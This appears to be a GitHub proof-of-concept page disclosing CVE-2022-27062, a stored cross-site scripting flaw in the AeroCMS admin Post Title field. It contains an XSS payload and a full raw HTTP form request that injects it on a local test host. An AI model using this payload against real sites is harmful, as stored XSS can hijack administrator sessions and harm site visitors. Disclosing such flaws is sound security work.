CVE-2022-27062: GitHub - D4rkP0w4r/AeroCMS-Add_Posts-Stored_XSS-Poc

AeroCMS-Add_Posts-Stored_XSS-Poc

• Description => Stored_XSS at Post Title

Step to Reproduct

• Login to admin panel -> Posts -> Add Posts -> Post Title -> inject payload <img/src/onerror=prompt(10)> -> The XSS will trigger when clicked Edit Post button

Exploit

Vulnerable Code

POC

• Injection Point

-----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_title"

<img/src/onerror=prompt(10)>

• Request

Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------85448121341942511952219062291 Content-Length: 1101 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26 Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmha1ps8cfp4bplf2 Upgrade-Insecure-Requests: 1

-----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_title"

<img/src/onerror=prompt(10)> -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_category_id"

1 -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_user"

admin -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_status"

published -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="image"; filename="" Content-Type: application/octet-stream

-----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_tags"

1 -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_content"

<p>111</p> -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="update_post"

Edit Post -----------------------------85448121341942511952219062291–

POC VIDEO https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR_/view?usp=sharing